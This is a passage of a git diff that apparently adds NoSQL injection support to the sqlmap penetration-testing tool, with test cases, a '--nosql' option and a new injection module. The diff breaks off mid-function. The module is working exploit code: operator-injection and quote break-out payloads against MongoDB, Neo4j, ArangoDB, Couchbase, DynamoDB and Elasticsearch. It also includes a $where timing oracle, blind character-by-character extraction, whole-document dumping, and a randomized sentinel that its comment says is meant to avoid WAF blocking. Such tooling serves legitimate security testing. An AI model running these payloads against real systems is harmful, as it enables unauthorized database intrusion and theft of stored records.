--flush-session", ("might be vulnerable to cross-site scripting",)), + ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d35c61b95..c6e4205ab 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -415,6 +415,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) + techniques.add_argument("--nosql", dest="nosql", action="store_true", + help="Test for NoSQL injection (e.g. MongoDB, CouchDB, Neo4j)") + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/lib/techniques/nosql/__init__.py b/lib/techniques/nosql/__init__.py new file mode 100644 index 000000000..2c772879a --- /dev/null +++ b/lib/techniques/nosql/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py new file mode 100644 index 000000000..ed26886dc --- /dev/null +++ b/lib/techniques/nosql/inject.py @@ -0,0 +1,765 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.enums import POST_HINT +from lib.core.settings import NOSQL_CHAR_MAX +from lib.core.settings import NOSQL_CHAR_MIN +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NOSQL_MAX_FIELDS +from lib.core.settings import NOSQL_MAX_LENGTH +from lib.core.settings import NOSQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# kb.chars boundaries) so it never becomes a static signature a WAF can pin a blocking rule on. +NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum number of characters of in-band (reflected) data surfaced from an always-true response +NOSQL_DUMP_LIMIT = 4096 + +# Delivery shapes that can carry an injection into a back-end filter/query +NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST, PLACE.COOKIE) + +# Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns +LUCENE_META = set('.?+*|(){}[]"\\/') + +# Java regexp metacharacters (Cypher/AQL =~) requiring escaping in built patterns +JAVA_META = set('.?+*|(){}[]^$\\/') + +# Engines detectable through a syntax-breaking probe but lacking a clean substring oracle for blind +# extraction (mapped from recognizable error-message fragments - not product names - to back-end name) +ERROR_SIGNATURES = ( + ("Cassandra", ("no viable alternative at input", "org.apache.cassandra", "com.datastax", "invalidrequestexception")), + ("Redis", ("wrongtype operation", "err error compiling script", "err error running script", "@user_script", "replyerror")), + ("Memcached", ("client_error bad", "server_error object too large")), + ("InfluxDB", ("error parsing query", "unable to parse")), + ("HBase/Phoenix", ("org.apache.phoenix", "phoenixparserexception", "org.apache.hadoop.hbase")), +) + +_UNSET = object() + +# HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests) +_lastCode = None + +# Resolved injection vector. `template` is the always-true page for content-based blind extraction +# (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter +# bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path); +# `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration). +Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump")) +Vector.__new__.__defaults__ = (None, None, None, None) + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + +def _encode(value): + return _urllib.parse.quote(value, safe="") + +def _lucene(value): + return "".join(("\\" + _ if _ in LUCENE_META else _) for _ in value) + +def _javaEscape(value): + return "".join(("\\" + _ if _ in JAVA_META else _) for _ in value) + +def _quoted(regex): + # double every backslash so a regexp survives a single-quoted string literal (Cypher/AQL/N1QL), + # whose own backslash processing would otherwise strip one level before the engine parses it + return regex.replace("\\", "\\\\") + +def _isJsonBody(): + return kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE) + +def _jsonKey(parameter): + for prefix in ("JSON ", "JSON-like "): + if parameter.startswith(prefix): + return parameter[len(prefix):] + return parameter + +def _delim(place): + # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + +def _originalValue(place, parameter): + for segment in conf.parameters[place].split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + +def _replaceSegment(place, parameter, segment): + """Rebuild conf.parameters[place], swapping the target parameter for `segment` (e.g. 'k[$ne]=v' + or 'k=v') while preserving every sibling parameter verbatim""" + + delimiter = _delim(place) + retVal, replaced = [], False + + for part in conf.parameters[place].split(delimiter): + if not replaced and part.split('=', 1)[0].strip() == parameter: + retVal.append(segment) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [segment if name == parameter else "%s=%s" % (_encode(name), _encode(value)) for name, value in conf.paramDict[place].items()] + + return delimiter.join(retVal) + +def _send(place, parameter, segment=None, jsonValue=_UNSET): + """Issues a single request with the target parameter overridden - by raw 'name=value' segment for + URL/body parameters, or by setting the key to `jsonValue` for JSON bodies - returning the response""" + + global _lastCode + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + try: + kwargs = {"raise404": False, "silent": True} + + if jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST): + try: + data = json.loads(conf.data) + except Exception: + data = {} + data[_jsonKey(parameter)] = jsonValue + payload = kwargs["post"] = json.dumps(data) + elif place == PLACE.COOKIE: + payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment) + else: + payload = _replaceSegment(place, parameter, segment) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload)) # readable, surfaced at -v 3 like a regular sqlmap payload + page, _, _lastCode = Request.getPage(**kwargs) + finally: + conf.skipUrlEncode = skipUrlEncode + + return page or "" + +def _isError(page): + # a server-error status or a recognizable back-end error body marks a response as NOT a valid + # always-true template (prevents two differing error pages from faking a boolean oracle) + return (_lastCode or 0) >= 500 or bool(re.search(NOSQL_ERROR_REGEX, page or "")) + +def _fetch(place, parameter, op, value, isArray=False): + """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)""" + + suffix = ("[%s][]" % op) if isArray else ("[%s]" % op) + segment = "%s%s=%s" % (_encode(parameter), suffix, _encode(value)) + return _send(place, parameter, segment, {op: [value]} if isArray else {op: value}) + +def _fetchValue(place, parameter, value): + """String dialects (Lucene query_string, Cypher, AQL): replaces the parameter's value verbatim""" + + return _send(place, parameter, "%s=%s" % (_encode(parameter), _encode(value)), value) + +def _boolean(truthy, falsy): + """Returns the (reproducible) true-page when a NoSQL true/false payload pair yields a stable + content divergence - i.e. the payload reached and influenced the back-end - else None""" + + truePage = truthy() + if not truePage or _isError(truePage): # an error response is never a valid always-true template + return None + + falsePage = falsy() + if _ratio(truePage, truthy()) > UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + +def _detectMongo(place, parameter): + # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a + # fallback always-true for apps that filter $ne but not the comparison operators + return _boolean(lambda: _fetch(place, parameter, "$ne", NOSQL_SENTINEL), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) \ + or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) + +def _detectES(place, parameter): + # query_string '*' (matches everything) vs a literal sentinel (matches nothing) + return _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + +def _detectCypher(place, parameter): + # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='2")) + +def _detectAQL(place, parameter): + # single-quote break-out: || '1'=='1 (true) vs || '1'=='2 (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='2")) + +def _detectNumeric(place, parameter): + # unquoted (numeric-context) boolean break-out for SQL-like back-ends: OR/AND (Cypher/N1QL) or + # ||/&& (AQL). A numeric field is not blindly regexp-extractable, so exploitation is the in-band + # dump of the always-true response (rows reflected by the page) + value = (_originalValue(place, parameter) or "1").strip() + if not value.isdigit(): + return None + + template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value)) + if template: + # Cypher, N1QL and PartiQL share OR/AND; tell them apart by a constant-arg, field-free primitive + # each engine alone honors: N1QL REGEXP_CONTAINS, DynamoDB begins_with (Cypher has neither) + if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value): + dbms = "Couchbase" + elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value): + dbms = "DynamoDB" + else: + dbms = "Neo4j" + return dbms, template, "%s OR 1=1" % value + + template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value)) + if template: + return "ArangoDB", template, "%s || 1==1" % value + + return None + +def _detectError(place, parameter): + # last-resort: a syntax-breaking value that diverges from a normal one and surfaces an engine error + original = _originalValue(place, parameter) or '1' + normal = _fetchValue(place, parameter, original) + broken = _fetchValue(place, parameter, original + "'") + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + return None + + for engine, tokens in ERROR_SIGNATURES: + if any(_ in broken.lower() for _ in tokens): + return engine + + return None + +def _fingerprintMongo(place, parameter): + page = _fetch(place, parameter, "$regex", '(').lower() # invalid regexp -> driver/DB error + if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")): + return "CouchDB" + elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")): + return "MongoDB" + else: + return "MongoDB (assumed)" + +def _fingerprintLucene(place, parameter): + page = _fetchValue(place, parameter, "/[/").lower() # invalid regexp -> engine error + if any(_ in page for _ in ("solr", "solrexception")): + return "Solr" + elif "opensearch" in page: + return "OpenSearch" + else: + return "Elasticsearch" + +def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): + """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction + stays bound to the originally matched record. `prefix`/`eq`/`conj` adapt the per-dialect syntax + (Cypher: 'u.'/'='/' AND '; AQL: 'u.'/'=='/' && '; $where JS: 'this.'/'=='/'&&')""" + + parts = [] + + for segment in conf.parameters[place].split(_delim(place)): + if '=' not in segment: + continue + name, _, value = segment.partition('=') + name = name.strip() + if name and name != parameter: + parts.append("%s%s%s'%s'" % (prefix, name, eq, value)) + + return (conj.join(parts) + conj) if parts else "" + +def _confirm(place, parameter, truePayload, falsePayload): + # disambiguates dialects that share the same break-out syntax by probing a dialect-specific + # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence + return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None + +def _timed(call): + start = time.time() + call() + return time.time() - start + +def _whereDelay(condition): + # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever + # the per-document JS `condition` holds, yielding a timing oracle when no content differential + # exists. The document is passed in as `d` (inside the function `this` is not the document). + return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) + +def _detectWhere(place, parameter): + # an unconditional-delay payload must run ~conf.timeSec slower than the baseline while a + # non-delaying one stays fast (the latter guards against a uniformly slow endpoint) + threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 + if threshold < conf.timeSec and _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) > threshold: + if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: + return threshold + return None + +def _jsString(value): + return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'") + +def _whereField(place, parameter, bound, expr, threshold): + """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key + name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle""" + + truth = lambda payload: _timed(lambda: _fetchValue(place, parameter, payload)) > threshold + return _extract(None, None, + lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)), + lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)), + truth) + +def _whereDump(place, parameter, bound, threshold): + """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover + each field name, then String(this[name]) for its value. Returns (columns, rows) or None""" + + columns, values = [], [] + for index in xrange(NOSQL_MAX_FIELDS): + name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold) + if not name: + break + columns.append(name) + values.append(_whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) or "") + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + return (columns, [values]) if columns else None + +def _classChar(ordinal): + char = chr(ordinal) + return ("\\" + char) if char in "]\\^-" else char # escape the char-class metacharacters + +def _klass(low, high): + # a regexp character class spanning the codepoints [low, high] (single member when low == high) + return "[%s]" % _classChar(low) if low == high else "[%s-%s]" % (_classChar(low), _classChar(high)) + +def _propLiteral(name): + return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'") + +def _enumField(place, parameter, template, payloadFor): + """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody), + reusing the bisection extractor against the always-true single-record `template`""" + + return _extract(template, lambda value: _fetchValue(place, parameter, value), + lambda n: payloadFor(".{%d,}" % n), + lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass))) + +def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): + """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field + name, valueExpr(name) -> that field's value. makePayload(targetExpr, regexBody) wraps the dialect + break-out and record binding around a ' matches ^' oracle. Returns + (columns, rows) or None - the caller can then fall back to single-field extraction""" + + template = _fetchValue(place, parameter, makePayload(keysExpr(0), ".*")) # the bound single record + if not template or _isError(template): + return None + + columns, values = [], [] + for index in xrange(NOSQL_MAX_FIELDS): + name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb)) + if not name: + break + columns.append(name) + values.append(_enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb)) or "") + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + return (columns, [values]) if columns else None + +def _cypherDump(place, parameter): + """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order + of its internal node id (a unique, ordered, always-present key - unlike property order, which Neo4j + does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None""" + + fetch = lambda payload: _fetchValue(place, parameter, payload) + noMatch = fetch("%s' OR '1'='2" % NOSQL_SENTINEL) # stable zero-record baseline (app closes the quote) + differs = lambda payload: _ratio(fetch(payload), noMatch) < UPPER_RATIO_BOUND + if not noMatch or not differs("%s' OR '1'='1" % NOSQL_SENTINEL): + return None + + # a numeric condition opens no string, so balance the app's trailing quote with a tautology + exists = lambda cond: differs("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)) + + def minIdGreater(lower): + # smallest internal node id strictly greater than `lower` (None when no further node exists) + if not exists("id(u) > %d" % lower): + return None + hi = lower + 1 + while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)): + hi *= 2 + if hi > (1 << 40): + return None + lo = lower + while lo + 1 < hi: + mid = (lo + hi) // 2 + if exists("id(u) > %d AND id(u) <= %d" % (lower, mid)): + hi = mid + else: + lo = mid + return hi + + columns, records, lastId = [], [], -1 + for _ in xrange(NOSQL_MAX_RECORDS): + nodeId = minIdGreater(lastId) + if nodeId is None: + break + record = _enumDump(place, parameter, + lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + if record: + cols, values = record + records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) + columns.extend(_ for _ in cols if _ not in columns) + lastId = nodeId + + return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None + +def _partiqlValue(place, parameter, bind, field): + """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no + regexp, so each character is recovered by an ordered string comparison (field >= 'prefix'+char), + bisected over the printable-ASCII range. Returns the value or None""" + + quote = lambda value: value.replace("'", "''") # PartiQL escapes a single quote by doubling it + fetch = lambda payload: _fetchValue(place, parameter, payload) + template = fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field)) # field >= '' -> bound record matches + if not template or _isError(template): + return None + + truth = lambda value: _ratio(fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(value))), template) > UPPER_RATIO_BOUND + + retVal = "" + while len(retVal) < NOSQL_MAX_LENGTH: + if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value + break + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(retVal + chr(mid)): + lo = mid + else: + hi = mid - 1 + retVal += chr(lo) + + return retVal or None + +def _partiqlDump(place, parameter, key): + """DynamoDB PartiQL: comparison-extract the injected field, bound to its record by sibling + parameters (PartiQL exposes no key-enumeration, so the dumpable field is the injected one)""" + + bind = _constraint(place, parameter, "=", " AND ", prefix="") + if not bind: # need a sibling to pin a single record + return None + value = _partiqlValue(place, parameter, bind, key) + return ([key], [[value]]) if value is not None else None + +def _extract(template, fetchFn, lengthValue, charValue, truthFn=None): + """Blind value recovery: binary-searches the length, then bisects each character's codepoint over + the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range) + requests per character instead of a linear scan - far smaller WAF/log footprint). lengthValue(n) + and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against + `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate)""" + + truth = truthFn or (lambda value: _ratio(fetchFn(value), template) > UPPER_RATIO_BOUND) + + length, probe = 0, 1 + while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): + length, probe = probe, probe * 2 + + low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth(lengthValue(mid)): + low = mid + else: + high = mid + + if not low: + return None + + debugMsg = "retrieving the value (%d characters)" % low + logger.debug(debugMsg) + + retVal = "" + for _ in xrange(low): + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + if not truth(charValue(retVal, _klass(lo, hi))): + retVal += '?' # character outside the printable-ASCII range + continue + while lo < hi: + mid = (lo + hi) // 2 + if truth(charValue(retVal, _klass(lo, mid))): + hi = mid + else: + lo = mid + 1 + retVal += chr(lo) + + return retVal + +def _resolve(place, parameter, key): + """Tries each NoSQL dialect in turn; the first that detects fixes the back-end and the extraction + payloads. Returns a Vector (whose `template`/`lengthValue` are None for detection-only back-ends) + or None when nothing matches""" + + field = "u.%s" % key + + template = _detectMongo(place, parameter) + if template: + return Vector(_fingerprintMongo(place, parameter), + lambda value: _fetch(place, parameter, "$regex", value), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^%s%s" % (re.escape(known), klass), + template=template, bypass='{"$ne": null}') + + template = _detectES(place, parameter) + if template: + return Vector(_fingerprintLucene(place, parameter), + lambda value: _fetchValue(place, parameter, value), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (_lucene(known), klass), + template=template, bypass='*') + + template = _detectCypher(place, parameter) + if template: + constraint = _constraint(place, parameter) + + # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out; tell + # them apart by the regexp/string primitive the back-end honors ('=~', 'REGEXP_CONTAINS', or + # PartiQL 'begins_with') + if not _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)): + if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)): + return Vector("Couchbase", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' OR REGEXP_CONTAINS(%s, '^.{%d,}') OR '1'='2" % (NOSQL_SENTINEL, field, n), + lambda known, klass: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' OR '1'='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, expr, rb), + lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n))) + + if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, NOSQL_SENTINEL)): + return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _partiqlDump(place, parameter, key)) + + return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter, + lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n))) + + template = _detectAQL(place, parameter) + if template: + constraint = _constraint(place, parameter, "==", " && ") + + # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1 + # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test() + if not _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) \ + and _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): + bound = _constraint(place, parameter, "==", "&&", prefix="this.") + whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) + return Vector("MongoDB ($where)", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), + lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), + template=whereTemplate, bypass="' || '1'=='1") + + return Vector("ArangoDB", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' || '1'=='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n))) + + numeric = _detectNumeric(place, parameter) + if numeric: + dbms, template, bypass = numeric + dump = None + if dbms == "Neo4j": # bind the dump to the injected numeric field (e.g. u.id = 1) + value = (_originalValue(place, parameter) or "1").strip() + dump = lambda: _enumDump(place, parameter, + lambda expr, rb: "%s AND (%s =~ '^%s.*')" % (value, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + return Vector(dbms, None, None, None, template=template, bypass=bypass, dump=dump) + + threshold = _detectWhere(place, parameter) + if threshold is not None: + bound = _constraint(place, parameter, "==", "&&", prefix="d.") + return Vector("MongoDB ($where)", None, None, None, + dump=lambda: _whereDump(place, parameter, bound, threshold)) + + engine = _detectError(place, parameter) + if engine: + return Vector(engine, None, None, None) + + return None + +def _inband(place, parameter, template): + """In-band data exposure gate: returns the always-true response when it carries materially more + (reflected) content than the original request - i.e. the injection is returning extra records + directly - else None""" + + original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1") + if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template): + return template + return None + +def _clean(cell): + cell = re.sub(r"(?s)<[^>]+>", "", cell) + for entity, char in (("&", '&'), ("<", '<'), (">", '>'), (""", '"'), ("'", "'"), ("'", "'")): + cell = cell.replace(entity, char) + return re.sub(r"\s+", " ", cell).strip() + +def _records(page): + """Parses structured records out of a reflected response - a JSON array of objects or an HTML + table - returning (columns, rows) for a tabular dump, else None""" + + try: + data = json.loads(page, object_pairs_hook=OrderedDict) + rows = data if isinstance(data, list) else next((_ for _ in data.values() if isinstance(_, list)), None) if isinstance(data, dict) else None + rows = [_ for _ in (rows or []) if isinstance(_, dict)] + if rows: + columns = [] + for row in rows: + columns.extend(_ for _ in row if _ not in columns) + return columns, [[("NULL" if row[_] is None else _clean("%s" % row[_])) if _ in row else "" for _ in columns] for row in rows] + except (ValueError, TypeError): + pass + + for body in re.findall(r"(?is)]*>(.*?)", page or ""): + header, rows = None, [] + for index, tr in enumerate(re.findall(r"(?is)]*>(.*?)", body)): + cells = re.findall(r"(?is)]*>(.*?)", tr) + if index == 0 and re.search(r"(?i)]", tr): + header = [_clean(_) for _ in cells] + elif cells: + rows.append([_clean(_) for _ in cells]) + if rows: + width = max(len(_) for _ in rows) + columns = header if header and len(header) == width else ["column_%d" % (_ + 1) for _ in xrange(width)] + return columns, [row + [""] * (width - len(row)) for row in rows] + + return None + +def _grid(columns, rows): + """Renders (columns, rows) as a sqlmap-style ASCII table""" + + widths = [max([len(columns[index])] + [len(row[index]) for row in rows if index < len(row)]) for index in xrange(len(columns))] + separator = '+' + '+'.join('-' * (width + 2) for width in widths) + '+' + line = lambda cells: "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + +def _dumpInband(place, key, page): + """Renders in-band records as a regular sqlmap-style table, or falls back to cleaned text""" + + parsed = _records(page) + if parsed: + columns, rows = parsed + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band records [%d]:\n%s" % (place, key, len(rows), _grid(columns, rows))) + else: + text = re.sub(r"\s+", " ", re.sub(r"(?s)<[^>]+>", " ", page)).strip() + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band data: %s" % (place, key, text[:NOSQL_DUMP_LIMIT])) + +def nosqlScan(): + """Entry point for '--nosql': detects NoSQL injection (MongoDB/CouchDB operator, Lucene + query_string, Cypher/N1QL/AQL string break-out, MongoDB $where time-based, or error-based). On a + confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload + and (2) blindly recover the targeted field via the regexp/timing oracle""" + + global NOSQL_SENTINEL + NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + + # NoSQL injection from an application-scoped point is confined to the back-end's single query + # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the + # SQL database/table/user/banner enumeration, so those switches do not apply here + infoMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable " + infoMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, " + infoMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored" + logger.info(infoMsg) + + tested = found = 0 + + for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + key = _jsonKey(parameter) + + if 